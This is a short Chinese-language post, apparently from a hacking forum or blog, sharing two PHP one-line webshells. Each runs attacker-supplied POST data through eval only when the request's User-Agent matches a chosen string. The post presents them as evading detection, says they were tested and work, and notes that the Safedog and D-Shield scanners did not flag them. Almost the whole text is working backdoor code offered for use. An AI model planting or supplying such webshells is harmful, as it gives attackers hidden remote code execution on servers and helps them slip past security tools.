无流量特征(无固定参数密码)免杀一句话
在土司看到的一个 奇技淫巧
经过测试可用
<?php if($_SERVER[HTTP_USER_AGENT]==="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 "){eval(reset(get_defined_vars()[_POST]));};?>
//或者
<?php if($_SERVER[HTTP_USER_AGENT]==="123"){eval(reset(get_defined_vars()[_POST]));};?>
安全狗和D盾均未提示